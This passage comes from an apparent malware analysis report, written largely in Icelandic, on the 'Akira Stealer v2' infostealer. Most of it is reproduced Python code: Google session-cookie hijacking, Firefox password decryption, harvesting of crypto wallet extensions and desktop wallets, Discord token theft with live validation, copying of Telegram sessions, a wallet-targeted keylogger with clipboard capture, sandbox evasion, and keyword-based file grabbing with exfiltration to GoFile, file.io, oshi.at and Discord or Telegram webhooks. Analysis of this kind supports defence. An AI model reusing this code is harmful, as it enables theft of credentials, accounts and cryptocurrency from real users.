# Replay MultiLogin to fetch valid session cookies
response = requests.post(
    "https://accounts.google.com/accounts/multilogin",
    headers=headers,
    json={"continue": "https://mail.google.com"}
)
if response.status_code == 200:
    # Victim’s cookies now present in response.cookies
    hijacked_cookies = response.cookies

Með því að endurspila þessa beiðni getur Akira þykjast vera notandinn í Gmail, Drive eða hverri annarri Google-þjónustu sem varin er af gildri setu, án þess að þurfa nokkur credentials. Þessi tækni nýtir rökvísi Google sjálfs um viðurkenningu tokens, sem gerir hana nánast ógreinanlega frá hegðun lögmæts klients.

7.7 Afkóðun Firefox

Gecko‑byggðir browsers eins og Firefox dulkóða vistuð credentials og cookies með meginlykli sem geymdur er í key4.db. Akira hefur einfaldaða afkóðunarrútínu sem speglar NSS-rökvísi Mozilla og tekur á bæði 3DES- og AES‑CBC-afbrigðum án þess að kveikja á kvaðningu um meginlykilorð. Dæmi um notkun:

# Load global Salt and encrypted item from key4.db
db = sqlite3.connect(profile_path + "/key4.db")
cursor = db.cursor()
cursor.execute("SELECT item1, item2 FROM metadata WHERE id = 'password'")
global_salt, item2 = cursor.fetchone()

# Decode DER structure and derive key
decoded, _ = der_decode(item2)
entry_salt = decoded[0][1][0].asOctets()
cipher_text = decoded[1].asOctets()
# Derive 3DES key
key = derive_3des_key(global_salt, master_password, entry_salt)
iv = decoded[0][1][1].asOctets()
# Decrypt credentials
cipher = DES3.new(key, DES3.MODE_CBC, iv)
clear_password = unpad(cipher.decrypt(cipher_text))

print("Decrypted Firefox password:", clear_password)

Með þessari rútínu getur Akira dumpað logins.json, cookies.sqlite og places.sqlite fyrir hvern Firefox-prófíl með gagnsæjum hætti og skrifað afkóðaða úttakið í:

Passwords/Firefox_<ProfileName> Passwords.txt
Cookies/Firefox_<ProfileName> Cookies.txt
History/Firefox_<ProfileName> History.txt

Þessi aðferð fer fram hjá athugunum á meginlykilorði á notandastigi og gefur stealernum óhindraðan aðgang að öllum vistuðum credentials.*

4. Skráauppbygging og nafngiftir

<ComputerName>.zip
└── <ComputerName>\
    ├── Passwords\
    │   ├── Chrome Passwords.txt
    │   ├── Edge Passwords.txt
    │   └── …
    ├── Cookies\
    │   ├── Chrome Cookies.txt
    │   ├── Edge Cookies.txt
    │   ├── user@example.com Google Session.txt
    │   └── …
    ├── CreditCards\
    │   ├── Chrome CreditCards.txt
    │   └── …
    ├── History\
    │   ├── Chrome History.txt
    │   └── …
    ├── Autofill\
    │   ├── Chrome Autofill.txt
    │   └── …
    └── Wallets\
        ├── Firefox_Default_profiles.zip
        ├── Firefox_Profile1_profiles.zip
        └── …
  • Hver .txt-skrá byrjar á samræmdum haus (<================[Akira Stealer v2]>================>) og skiljulínu (====…====).
  • ZIP á diski: %TEMP%\<ComputerName>.zip.
  • Skráarheiti hjá C&C: Akira-<username>.zip.

5. Exfiltration og tiltekt

url = Webhook.uploadToGofile(zip_path)
if not url:
    url = Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)
Webhook.sendDataTG(zip_path, chatId, startup)
Utils.clear_client_folder()
  • Aðalrás (GoFile.io): malware-ið reynir fyrst að hlaða ZIP-safnskránni með öllum stolnum artifacts upp á GoFile.io og les úr JSON-svarinu downloadPage-URL sem gefur árásaraðilanum beinan aðgang að safnskránni.
  • Sjálfvirkar varaleiðir: bregðist GoFile-endapunkturinn (tímamörk á neti, hraðamörk og fleira) fellur kóðinn snurðulaust yfir á file.io, og skili það líka tómum hlekk þá loks á oshi.at. Bæði afbrigðin eru kölluð án þess að undantekningar séu kastaðar, sem tryggir að ein af þessum þrem þjónustum verður alltaf reynd í röð.
  • Webhook-tilkynningar: þegar URL (eða tómur strengur ef allt bregst) hefur verið ákvarðað er kallað á Webhook.sendDataTG(...), sem pakkar niðurhalshlekknum, auðkennum vélarinnar (chatId, startup-flagg) og öllum flokkatölum (lykilorðum, cookies, sjálfvirkum útfyllingum, veskjum) saman í eitt Discord- eða Telegram-skeyti.
  • Tafarlaus tiltekt: eftir tilkynninguna eyðir Utils.clear_client_folder() endurkvæmt öllu tímabundna vinnusvæðinu og ZIP-skránni sjálfri, og skilur engin spor eftir á diski um söfnuðu gögnin eða safnskrána.

Þol gegn bilunum:

  • Allar upphalsrútínur skila "" þegar þær bregðast í stað þess að kasta, sem tryggir að kóðaflæðið haldi áfram.
  • Jafnvel þótt engin þjónusta sé aðgengileg sendir malware-ið samt webhook-skýrslu (þótt hlekkinn vanti) áður en það eyðir staðbundnum artifacts, sem lágmarkar forensic-leifar nema ferlið hrynji óvænt.

6. Þol og meðhöndlun villna

  • Fínkornótt meðhöndlun undantekninga: hver samskipti við skráakerfið, hvort sem það er shutil.copy, SQLite-fyrirspurnir eða ZIP-aðgerðir, er pakkað í try/except-blokkir. Þegar villa kemur upp (læstur gagnagrunnur, aðgangi hafnað, gölluð færsla) er undantekningin veidd og loggast með Akira.logErrorTg(), og keyrslan heldur áfram, sem einangrar bilunina við þá tilteknu skrá eða einingu.
  • Þráðaeinangrun fyrir hvern browser: útdráttarrútínurnar fyrir hvern studdan browser keyra í sínum eigin þræði. Þessi fjölþráðahönnun tryggir að hrun eða frost í útdrætti eins browsers (t.d. skemmdur prófíll, lykill sem vantar) stöðvi eða seinki ekki greiningu annarra browsers.
  • Hljóðlátar varaleiðir og sjálfgefin gildi: margar hjálparrútínur, svo sem upphal á aðra skráahýsingu, athugun á fjartengdum tilföngum eða ræsing undirferla, notar hreiðrað try/except án nokkurra viðvarana á yfirborðinu, sem hámarkar ósýnileika. Sjálfgefin gildi (tómir strengir, bólsk gildi) eru valin til að halda flæðinu órofnu og fjarlægja augljósar villustöður.
  • Mutex- og startup-verðir: nefndur mutex (1qsMlseJplTlArIF14f) hindrar mörg samtímis tilvik, en registry-athuganir og Utils.CreateMutex() verja gegn samhliða keyrslum og gefa aukinn stöðugleika í raunverulegri dreifingu.

7.8 Exfiltration veskja og tokens

Í þessum fasa framkvæmir Akira Stealer v2 heildstæðustu sópunina að credentials fyrir kryptógjaldmiðla og setutokens, sem nær yfir browser extensions, skjáborðsveski, skilaboðatokens og lifandi keylogging. Það keyrir í samhliða þráðum, sem tryggir að engin leið verði útundan. Hér fyrir neðan er skref-fyrir-skref djúpköfun með kóðatilvísunum.

7.8.1 Veski í browser extensions

Skotmörk: yfir 80 extensions þvert á vinsæla browsers, þar á meðal MetaMask, Phantom, Trust Wallet, Coinbase Wallet, Solflare, Exodus, Binance Chain Wallet, Keplr, Nami, TronLink, Rabby, Talisman og fleiri.

# Hardcoded list of extension IDs and human-friendly names
walletsExtensions = [
    ["MetaMask",        "nkbihfbeogaeaoehlefnkodbefgpgknn"],
    ["Phantom",         "bfnaelmomeimhlpmgjnjophhpkkoljpa"],
    ["TrustWallet",     "egjidjbpglichdcondbcbdnbeeppgdph"],
    ["CoinbaseWallet",  "hfhmhopkfngkjcalldmaepmpilmjjemb"],
    ["Solflare",        "bhhhlbepdkbapadjdnnojkbgioiodbic"],
    ["BinanceChain",    "fhbohimaelbohpjbbldcngcnapndodjp"],
    ["Keplr",           "dmkamcknogkgcdfhhbddcghachkejeap"],
    ["Nami",            "lpfcbjknijpeeillifnkikgncikgfhdo"],
    ["Talisman",        "fijngjgcjhjmmpcmkeiomlglpeiijkld"],
    ["TronLink",        "ibnejdfjmmkpcnlpebklmnkoeoihofec"],
    # ... plus dozens more mapped in code
]
# Extraction loop for each browser profile
for browser_name, (user_data, proc_name) in paths.items():
    base = os.path.join(user_data, "Default", "Local Extension Settings")
    for ext_name, ext_id in walletsExtensions:
        src = os.path.join(base, ext_id)
        if os.path.isdir(src):
            dest = os.path.join(Utils.get_temp_folder(), "Wallets", f"{ext_name}_{browser_name}")
            shutil.copytree(src, dest, dirs_exist_ok=True)
            data.ext_wallets_count += 1
  • Skrár sem eru afritaðar: IndexedDB, LevelDB, JSON- og uppsetningarskrár sem eru sértækar fyrir hvert extension og innihalda dulkóðaða lykla, seed-frasa og innskráningar-credentials.
  • Úttaksmappa: Wallets/MetaMask_Chrome/, Wallets/Phantom_Edge/ og fleiri.

7.8.2 Skjáborðsveskjaforrit

Skotmörk: helstu skjáborðsklientar eins og Electrum, Exodus, Atomic Wallet, Guarda, Rabby, Coinomi, Zcash, Armory, Bytecoin, Jaxx, Coinomi og fleiri.

walletsDesktop = [
    ["Electrum",     os.path.join(os.getenv('APPDATA'), "Electrum", "wallets")],
    ["Exodus",       os.path.join(os.getenv('APPDATA'), "Exodus", "exodus.wallet")],
    ["AtomicWallet", os.path.join(os.getenv('LOCALAPPDATA'), "atomic", "Local Storage", "leveldb")],
    ["Guarda",       os.path.join(os.getenv('APPDATA'), "Guarda", "Local Storage", "leveldb")],
    ["Rabby",        os.path.join(os.getenv('APPDATA'), "rabby-desktop")],
    ["Coinomi",      os.path.join(os.getenv('APPDATA'), "Coinomi", "wallets")],
]
for name, path in walletsDesktop:
    if os.path.isdir(path):
        Utils.TaskKill(name.lower())
        dest = os.path.join(Utils.get_temp_folder(), "Wallets", name)
        shutil.copytree(path, dest, dirs_exist_ok=True)
        data.desktop_wallets_count += 1
  • Gögn sem eru stolin: keystore-skrár (*.dat, *.json), útflutt einkalyklar, uppsetning veskja og færsluferill.
  • Gagnsemi: innihald veskja utan nets sem árásaraðilinn getur notað til að heimila færslur.

7.8.3 Söfnun Discord-tokens

Discord-tokens eru sannvottunar-artifacts, í raun langlíf bearer-tokens, sem geta veitt fullan aðgang að reikningi notanda án þess að þurfa credentials hans eða MFA. Akira nýtir þetta og skannar gagnamöppur browsers og forrita að tokens sem ýmsir Discord-klientar vista, þar á meðal Discord Stable, Canary, PTB (Public Test Build) og jafnvel breyttar afleiður eins og Lightcord.

Aðferðin beinist að LevelDB-skrám undir Local Storage forritsins, þar sem sannvottunartokens liggja oft í plaintext. Með reglulegum segðum skannar malware-ið þessar .log- og .ldb-skrár að mynstrum sem passa við venjuleg notandatokens eða tokens með MFA.

Til að auka áreiðanleika og draga úr klið hefur Akira staðfestingarskref: það sendir prófbeiðni á /users/@me-endapunkt Discord með hverju söfnuðu tokeni. Aðeins tokens sem sannvottast með árangri (HTTP 200) eru exfiltreruð með webhook, yfirleitt á Discord-rás undir stjórn árásaraðilans.

Þessi aðferð gerir árásaraðilum kleift að yfirtaka Discord-reikninga í rauntíma, þykjast vera fórnarlambið, sópa upp einkaskeytum og servera eða dreifa frekara malware með félagslegri hönnun, allt án þess að kveikja á innskráningarviðvörunum.

import re, requests
patterns = [
    r"[\w-]{24}\.[\w-]{6}\.[\w-]{27,100}",  # User tokens
    r"mfa\.[\w-]{84,100}"                      # MFA tokens
]
def harvest_discord(base, webhook_url):
    db_dir = os.path.join(base, "Local Storage", "leveldb")
    for file in os.listdir(db_dir):
        if file.endswith(('.log', '.ldb')):
            for line in open(os.path.join(db_dir, file), errors='ignore'):
                for pat in patterns:
                    for token in re.findall(pat, line):
                        # Verify token
                        h = {"Authorization": token}
                        r = requests.get("https://discordapp.com/api/v9/users/@me", headers=h)
                        if r.status_code == 200:
                            uname = r.json()["username"] + "#" + r.json()["discriminator"]
                            payload = {"content": f"**Discord** {uname}: `{token}`"}
                            requests.post(webhook_url, json=payload)
  • Staðfesting: birtir aðeins gild tokens, sem hindrar að útrunnin JWT séu send.

7.8.4 Setuskrár Telegram

Skotmörk: Telegram Desktop/TData

def steal_telegram(tdata_path, dest_root):
    if os.path.exists(tdata_path):
        Utils.TaskKill("telegram.exe")
        dest = os.path.join(dest_root, "Wallets", "Telegram")
        shutil.copytree(tdata_path, dest, dirs_exist_ok=True)
        data.has_telegram = True
  • Skrár: tdata-mappa sem inniheldur setulykla, D877F...-mappa með secret- og unsecret-skrám.
  • Notkun: hlaðið inn í Telegram-klient árásaraðilans til að fá fullan aðgang að reikningnum.

7.8.5 Lifandi keylogging á veskjum

Kryptógjaldmiðlaveski eru helstu skotmörk nútíma infostealers. Akira hefur lifandi keylogger sem er sérhannaður til að stela credentials veskja, svo sem seed-frösum, einkalyklum og lykilorðum, á því augnabliki sem þau eru slegin inn. Ólíkt almennum keyloggers virkjast þessi aðeins þegar þekktur veskjagluggi finnst, sem minnkar klið verulega og aukur skilvirkni.

Einingin vaktar titla á virkum gluggum og ber þá við harðkóðaðan lista vinsælla veskjaforrita eins og MetaMask, Phantom, Atomic Wallet og fleiri. Þegar gluggi sem passar er í forgrunni byrjar hún að skrá ásláttinn með lyklaborðshookum sem virka á öllu kerfinu. Þegar notandinn ýtir á Enter fangar einingin samstundis innihald klippiborðsins, því hún gerir ráð fyrir að notendur afriti oft leyndarmál við uppsetningu eða innskráningu í veski, og sendir bæði innslegna textann og klippiborðsgögnin á webhook árásaraðilans. Þessi aðferð er afar áhrifarík því hún sameinar tvær árásarleiðir:

  • Keylogging sem tekur mið af samhengi og fangar aðeins viðkvæmt inntak í veskjum þegar það á við.
  • Yfirtöku klippiborðsins, til að draga út afritaða endurheimtufrasa eða áfangaheimilisföng áður en þeim er límt inn.

Samanlagt gera þessar aðferðir árásaraðilum kleift að kompromítera veski hljóðlega í rauntíma, jafnvel án aðgangs að browsernum eða exfiltration skráa.

import keyboard, pyperclip

class WalletKeylogger:
    def __init__(self, wallet_titles):
        self.buf = ""
        keyboard.on_release(self.capture)
        self.wallet_titles = wallet_titles

    def capture(self, event):
        title = pygetwindow.getActiveWindow().title
        if any(w in title for w in self.wallet_titles):
            if event.name == 'enter':
                data = f"Keys:{self.buf}\nClip:{pyperclip.paste()}"
                send_to_webhook(data)
                self.buf = ""
            else:
                self.buf += event.name
  • Kveikjulisti: titlar glugga sem innihalda „MetaMask", „Phantom", „Atomic Wallet" og fleiri.
  • Klippiborð: fangar afritaða seed-frasa eða einkalykla.

7.8.6 Pökkun og exfiltration

Eftir að hafa safnað browsergögnum, credentials, veskjaupplýsingum og tokens heldur Akira áfram og sameinar og exfiltrerar þýfið með mjög sjálfvirkum og hljóðlátum hætti. Þetta þrep er síðasta skrefið í sýkingarkeðjunni og er fínstillt fyrir áreiðanleika og lágmarks forensic-fótspor. Fyrst eru öll söfnuð gögn, þar á meðal browser-dumpar, loggar og veskjaupplýsingar úr keyloggernum, þjappuð í ZIP-safnskrá. Það tryggir að allt gagnasafnið megi flytja sem einn payload. Safnskránni er svo hlaðið upp á margar opinberar skráadeilingarþjónustur eins og GoFile, File.io eða Oshi.at, eftir því hvað er aðgengilegt. Þessir pallar bjóða nafnlausa og skammlífa hýsingu og eru oft notaðir til að komast fram hjá eldveggjum fyrirtækja eða blokkun sem byggir á orðspori. Samhliða er skipulögð skýrsla búin til og send árásaraðilanum með Discord- eða Telegram-webhook. Hún inniheldur samantektartölur, hve mörg veski fundust, hve mörg tokens voru gild, og beinan hlekk á stolnu gögnin. Það gefur árásaraðilum fljótt yfirlit yfir verðmæti skotmarksins án þess að opna safnskrána.

Að lokum eyðir malware-ið tímabundnu möppunni og safnskránni af diski, og fjarlægir þannig í reynd staðbundnar forensic-sannanir. Þegar þeir sem verjast koma auga á sýkinguna eru gögnin þegar farin, og oft óafturkræf.

# 1) ZIP everything (including Wallets folder)
zip_path = shutil.make_archive(Utils.get_temp_folder(), 'zip', Utils.get_temp_folder())
# 2) Attempt upload to primary & fallback services
url = Webhook.uploadToGofile(zip_path) or Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)
# 3) Report summary
embed = {
    "title": "💰 Wallet & Token Exfiltration Report",
    "fields": [
        {"name": "Extension Wallets", "value": data.ext_wallets_count},
        {"name": "Desktop Wallets",   "value": data.desktop_wallets_count},
        {"name": "Discord Tokens",    "value": len(valid_tokens)},
        {"name": "Telegram Sessions", "value": data.has_telegram},
        {"name": "Archive Link",      "value": url or "[upload failed]"},
    ]
}
Webhook.sendDataTG(Utils.get_temp_folder(), chatId, startup)
# 4) Cleanup local folder & ZIP
Utils.clear_client_folder()

7.9. Þjófnaður Discord- og Telegram-tokens (klasi: Discord)

Discord-klasinn í Akira Stealer v2 keyrir mjög samhliða fjölþrepa ferli til að safna bæði Discord-authorization-tokens og Telegram-setugögnum. Hér fyrir neðan tökum við hvern hluta í sundur með nákvæmum kóðatilvísunum og lýsandi dæmum.

7.9.1 Frumstilling og upptalning slóða

Þegar tilvik er búið til byggir smiðurinn tvö söfn markslóða:

# Discord client LevelDB directories
discord_paths = [
    [f"{self.ROAMING}/Discord", "/Local Storage/leveldb"],
    [f"{self.ROAMING}/Lightcord", "/Local Storage/leveldb"],
    ...
]

# Chromium-based browser LevelDB directories
browserPaths = [
    [f"{self.ROAMING}/Opera Software/Opera GX Stable", "opera.exe", "/Local Storage/leveldb", ...],
    [f"{self.LOCAL}/Google/Chrome/User Data", "chrome.exe", "/Default/Local Storage/leveldb", ...],
    ...
]
  • Discord-slóðir beinast að opinberum og óopinberum Discord-klientum undir %APPDATA%.
  • Browser-slóðir nái yfir notandagagnamöppur vinsælla browsers, þar á meðal undirmöppur fyrir local storage og extensions.

Þráðum er ræst fyrir hverja færslu:

for patt in browserPaths:
    t = Thread(target=self.get_btoken, args=[patt[0], patt[2]])
    t.start()
for patt in discord_paths:
    t = Thread(target=self.get_discord, args=[patt[0], patt[1]])
    t.start()

Þetta þráðamódel hámarkar I/O-afköst og prófar tugi mappa samhliða.

7.9.2 Rökvísi útdráttar tokens

Söfnun tokens í plaintext úr browsers

get_btoken(path, arg) fer í hverja LevelDB-möppu og skoðar .log- og .ldb-skrár:

for file in os.listdir(path + arg):
    if file.endswith((".log", ".ldb")):
        for line in open(f"{path}{arg}/{file}", errors="ignore"):
            for regex in (r"[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}", r"mfa\.[\w-]{80,95}"):
                tokens = re.findall(regex, line)
                for token in tokens:
                    self.tokens.append(token)
                    self.cehckToken(token)
  • Regluleg segð [\w-]{24}\.[\w-]{6}\.[\w-]{25,110} passar við venjuleg Discord-tokens.
  • Regluleg segð mfa\.[\w-]{80,95} fangar MFA-tokens.
  • Afföllun er óbein: tokens eru vistuð í self.tokens áður en þau eru staðfest.

Afkóðun dulkóðaðra tokens í Discord-klientinum

Klient Discord dulkóðar Local Storage-færslur með DPAPI, með v10 eða v11 sem forskeyti. get_discord(path, arg) tekur á því:

# Read Local State to obtain encrypted master key
with open(path + "/Local State", 'r') as f:
    local_state = json.load(f)
encrypted_key = b64decode(local_state['os_crypt']['encrypted_key'])[5:]
master_key = self.CryptUnprotectData(encrypted_key)

# Iterate LevelDB files for Base64 payloads
for file in os.listdir(path + arg):
    if file.endswith((".log", ".ldb")):
        for line in open(f"{path}{arg}/{file}"):
            for token_part in re.findall(r"dQw4w9WgXcQ:([A-Za-z0-9+/=]+)", line):
                ciphertext = b64decode(token_part)
                token = self.decrypt_value(ciphertext, master_key)
                self.tokens.append(token)
                self.cehckToken(token)
  • Endurheimt meginlykils: fjarlægir 5-bæta DPAPI-hausinn og kallar svo á CryptUnprotectData (sem pakkar Windows DPAPI) til að afkóða AES-GCM-lykilinn.
  • Úrvinnsla payloads: tokens hafa dQw4w9WgXcQ: sem forskeyti (merki sem árásaraðilinn valdi). Eftir Base64-afkóðun klýfur decrypt_value() IV og dulmálstexta:
    def decrypt\_value(buff, master\_key):
    iv = buff\[3:15]
    payload = buff\[15:]
    cipher = AES.new(master\_key, AES.MODE\_GCM, iv)
    return cipher.decrypt(payload)\[:-16].decode()
    

7.9.3 Staðfesting og exfiltration tokens

Hvert token sem dregið er út er staðfest með lifandi API-kalli:

headers = {"Authorization": token}
resp = requests.get("https://discordapp.com/api/v9/users/@me", headers=headers)
if resp.status_code == 200:
    self.cehckToken(token)
  • Ef það gengur upp ákvarðar cehckToken() hvort sent skuli með Telegram (useTg=True) eða Discord-webhook:
    if useTg:
    self.sendTokenTg(token)
    else:
    self.send\_embed(token)
    
  • send_embed býr til ríkt Discord-embed sem inniheldur lýsigögn notandans (notandanafn, discriminator, tölvupóst, Nitro-stöðu, greiðsluupplýsingar) með svæðum úr
user_json = requests.get(...).json()
username = user_json["username"]
id = user_json["id"]
# embed fields: token, email, phone, IP, flags, Nitro, billing
  • sendTokenTg sendir samantekt í plaintext yfir Telegram-API.

7.9.4 Söfnun Telegram-seta

Umfram Discord-tokens grípur stealerinn Telegram Desktop-setur:

@staticmethod
def steal_telegram():
    src = f"{os.getenv('APPDATA')}/Telegram Desktop/tdata"
    Utils.TaskKill("telegram.exe")
    shutil.copytree(src, os.path.join(Utils.get_temp_folder(), "Telegram"))
  • Stöðvun ferla: tryggir að skráalæsingum sé sleppt.
  • Endurkvæm afritun: stelur tdata-möppunni, þar á meðal notandasetum, tengiliðum og skeytum í skyndiminni.
  • Exfiltration: stolnu möppunni er pakkað og hlaðið upp með sendFilesTG(), með niðurhalshlekknum innbyggðum í Telegram-skeyti.

Discord-eining Akira Stealer sameinar söfnun með reglulegum segðum, AES-GCM-afkóðun með stuðningi DPAPI, staðfestingu með lifandi API og exfiltration yfir margar samskiptareglur (webhook og Telegram) til að skila hnökralausri getu til að yfirtaka reikninga á báðum pöllunum, Discord og Telegram.

7.10 Kerfisgreining

Akira Stealer v2 hefur umfangsmikinn greiningarfasa á kerfinu til að safna lýsigögnum hostsins, einkennum umhverfisins og netupplýsingum. Þessum upplýsingum er safnað í Data-klasann og þær síðar pakkaðar með exfiltreruðum credentials. Hér fyrir neðan tökum við greiningarrökvísina í sundur með beinum kóðatilvísunum.

7.10.1 Frumstilling Data-klasans

Við ræsingu er tilvik af Data búið til:

class Data:
    def __init__(self):
        self.username = os.getlogin()
        self.computerName = os.getenv("computername") or "Unable to get computer name"
        self.system_info = f"Computer Name: {self.computerName}\n..."
        ...
        self.ip = requests.get(url="https://api.ipify.org").text
        ipdata = json.loads(requests.post(url=f"http://ip-api.com/json/{self.ip}").text)
        self.country = ipdata.get("country")
        self.countryCode = ipdata.get("countryCode", "").lower()
  • Notandanafn og hostname: sótt með os.getlogin() og umhverfisbreytunni COMPUTERNAME.
  • IP-tala: sótt með requests.get("https://api.ipify.org") og svo staðsett í gegnum ip-api.com til að fá land og ISO-kóða.

7.10.2 Upptalning stýrikerfis og vélbúnaðar

Með skipunum Windows Management Instrumentation (WMI):

# Operating System
self.computerOS = subprocess.run('wmic os get Caption', shell=True, capture_output=True).stdout
# Total Physical Memory
self.totalMemory = subprocess.run('wmic computersystem get totalphysicalmemory', ...)
# BIOS UUID
self.uuid = subprocess.run('wmic csproduct get uuid', ...)
# CPU Identifier
self.cpu = subprocess.run("powershell Get-ItemPropertyValue -Path 'HKLM:System...\Processor_Identifier'", ...)
# GPU Name
self.gpu = subprocess.run('wmic path win32_VideoController get name', ...)
# Windows Product Key
self.productKey = subprocess.run("powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT...SoftwareProtectionPlatform' -Name BackupProductKeyDefault", ...)

Niðurstöður eru unnar í læsilega strengi (strip(), vísiaðgerðir) og skeyttar saman í:

self.system_info = (
    f"Computer Name: {self.computerName}\n"
    f"Total Memory: {self.totalMemory}\n"
    f"CPU: {self.cpu}\n"
    f"GPU: {self.gpu}\n"
    f"Product Key: {self.productKey}"
)

7.10.3 VM-detection og athuganir gegn sandbox

Áður en djúpgreiningin hefst kallar malware-ið á VmProtect.isVM(level) til að finna sýndarvæðingar- eða greiningarumhverfi:

if VmProtect.isVM(1):
    sys.exit()

Meðal helstu athugana eru:

  • Registry-lyklar og lýsingar drivera: gerir fyrirspurnir í registry-færslur sem tengjast sýndarvæðingu.
  • Svartlistuð UUID og tölvuheiti: ber við þekkt fingraför sýndarvéla.
  • HTTP-hermun: reynir að tengjast léni sem er ekki til yfir HTTPS.
  • Svartlisti ferla: ræsir bakgrunnsþráð til að drepa tól eins og wireshark, ollydbg, ida64.

7.10.4 Pökkun og sending

Söfnuðu system_info, IP-ið og fáni landsins eru byggð inn í hausana á webhook-payloadinum:

webhook_payload = {
    "embeds": [{
        "title": f"💉 Infected {self.computerName}/{self.username} | {self.ip} {flag}",
        "description": description + "\n```⚙️ System Info\n" + self.system_info + "```",
        "fields": [...]
    }]
}
requests.post(self.webhook_url, json=webhook_payload)
  • Fánatáknmynd: leidd út frá ISO-landskóðanum.
  • Svæði: innihalda tölur yfir stolin lykilorð, cookies og fleira, en kerfisupplýsingarnar eru í lýsingu embedsins svo samhengið fáist samstundis.

Samantekt: Kerfisgreiningin í Akira Stealer v2 safnar heildstæðum gögnum um hostinn og netið með WMI-skipunum, umhverfisbreytum og IP-staðsetningu. Ásamt VM-detection og rútínum sem drepa tól tryggir þetta að árásaraðilinn hafi fulla mynd af kompromíseraða umhverfinu, sem styrkir markvissar eftirfylgniaðgerðir og síar út greiningar-sandboxa.

7.11 Skráagrabbari (klasi: Utils.steal_files)

Umfram browsergögn og tokens reynir Akira einnig að draga út verðmætt efni sem notandinn hefur búið til, svo sem skjöl, töflureikna, persónulegar nótur og skrár með dulkóðunarlyklum. Skráagrabbara-einingin er ábyrg fyrir þessu verki. Hún skannar verðmætar möppur að algengum skráartegundum og mynstrum og bætir þeim hljóðlega í exfiltration-búntinn. Það sem gerir þessa einingu sérstaklega hættulega er einfaldleiki hennar og einbeiting: hún reynir ekki að fara yfir allt skráakerfið. Í staðinn beinist hún að tilteknum stöðum með háa vinningslíkindi þar sem viðkvæmar skrár eru yfirleitt geymdar. Þar á meðal eru Desktop-, Documents-, Downloads- og OneDrive-möppurnar, hver miðuð við heimaslóð notandans. Þessi markvissa nálgun bætir bæði hraða og ósýnileika og minnkar líkur á detection meðan skannað er. Hún forðast líka að vekja notandann með því að fara ekki í kerfis- eða varðar möppur. Þegar skrár sem áhugi er á hafa fundist eru þær afritaðar í tímabundna möppu, eftir atvikum endurnefndar eða flokkaðar, og síðar þjappaðar í endanlega ZIP-safnskrá sem hlaðið er upp í exfiltration-fasanum.

7.11.1 Upptalning markmappa

Stealerinn beinist að fjórum möppum með háa afurð:

searchFolders = [
    "Desktop",
    "Documents",
    "Downloads",
    "OneDrive"
]

Hver mappa er túlkuð miðað við heimamöppu fórnarlambsins:

for folder in searchFolders:
    current_path = os.path.join(os.environ['USERPROFILE'], folder)
    if os.path.exists(current_path):
        # proceed to scan

7.11.2 Síun eftir leitarorðum og skráarendingum

Listi leitarorða

Fyrirfram skilgreint safn undirstrengja stýrir skráavalinu. Aðeins skráarheiti sem innihalda að minnsta kosti eitt leitarorð eru tekin til skoðunar:

keywordsFiles = [
    "passw", "seed", "mnemo", "phrase", "login", "wallet",
    "crypto", "token", "backup", "secret", "account"
]
  • Hlutasamsvaranir: leitarorð eins og passw fanga bæði passwords.txt og passw_backup.docx.
  • Breið þekja: nær yfir hugtök sem tengjast sannvottun, veskjum, kryptó og tokens.

7.11.3 Skráartegundir sem eru heimilaðar

Til að lágmarka klið er hvítlisti skráarendinga framfylgt:

allowed_extensions = [
    ".txt", ".doc", ".docx", ".pdf", ".csv", ".xls", ".xlsx",
    ".jpg", ".png"
]

7.11.3 Stærðarþak

Skrár stærri en 2 megabæt eru sleppt til að hraða exfiltration og forðast stórar sendingar:

file_size_mb = os.path.getsize(full_path) / (1024 * 1024)
if file_size_mb <= 2:
    # eligible for copy

7.11.4 Endurkvæm skönnun og afritunarrökvísi

Þegar verðmætu möppurnar hafa verið greindar hefur Akira endurkvæma skönnunarrútínu til að fara í gegnum undirmöppur og finna skrár sem passa við tiltekin leitarorð og skráarendingar. Þessi fasi er byggður fyrir nákvæmni og ósýnileika: aðeins skrár sem passa við fyrirfram skilgreind viðmið, svo sem skráarheiti sem innihalda viðkvæm leitarorð og heimilaðar skráartegundir, eru tekin til skoðunar. Rökvísin tryggir að aðeins efni sem á við og notandinn hefur búið til sé exfiltrerað. Hún horfir framhjá kerfisskrám, skyndiminni og binaries og takmarkar stærð hverrar einstakrar skráar við 2 MB til að minnka upphalsstærð og detection-áhættu. Þessi skönnunaraðferð er hljóðlát, skilvirk og fínstillt fyrir hljóðlátan gagnaþjófnað í raunumhverfum. Með því að afrita skrár sem passa í staging-möppu og halda lista yfir það sem var tekið undirbýr Akira innihaldið til pökkunar og exfiltration, en lágmarkar um leið afföll og rekstrarklið.

Kjarnarútínan steal_files() starfar svona:

@staticmethod
def steal_files():
    stolen_files = set()
    temp_folder = Utils.get_temp_folder()

    for folder in searchFolders:
        current_path = os.path.join(os.environ['USERPROFILE'], folder)
        if os.path.exists(current_path):
            for root, _, files in os.walk(current_path):
                for file in files:
                    lower = file.lower()
                    # Keyword check
                    if any(keyword in lower for keyword in keywordsFiles):
                        ext = os.path.splitext(lower)[1]
                        # Extension and size check
                        if ext in allowed_extensions and os.path.getsize(os.path.join(root, file)) <= 2 * 1024 * 1024:
                            # Prepare destination
                            files_dir = os.path.join(temp_folder, "Files")
                            os.makedirs(files_dir, exist_ok=True)
                            shutil.copy(os.path.join(root, file), os.path.join(files_dir, file))
                            stolen_files.add(file)
    data.stolen_files.extend(stolen_files)

Helstu punktar:

  1. os.walk: fer endurkvæmt niður í undirmöppur.
  2. Samsvörun óháð stafstærð: skráarheiti eru samræmd með lower().
  3. Heil afritun: notar shutil.copy til að varðveita innihald skráarinnar.
  4. Safn stolinna skráarheita: hindrar afföll þegar sama skrá kemur fyrir tvisvar.
  5. Samþætting við Data: data.stolen_files safnar lista yfir stolnar skrár fyrir síðari tilkynningu.

7.11.5 Pökkun og exfiltration

Eftir söfnun er Files-möppunni pakkað og hún send:

# Archive
Utils.zip_client_file()  # creates CLIENT.zip from temp_folder

# Upload & Notify
akira.sendFilesTG(Utils.get_temp_folder(), startup)
hook.sendFilesTG(Utils.get_temp_folder(), startup)
  • zip_client_file(): þjappar allri tímabundnu möppunni, þar á meðal Files, Cookies, Passwords og fleiru.
  • sendFilesTG(): birtir niðurhalshlekkinn með Telegram- eða Discord-webhook og listar hvert stolið skráarheiti:
    fields.append({
    "name": "📂 Files",
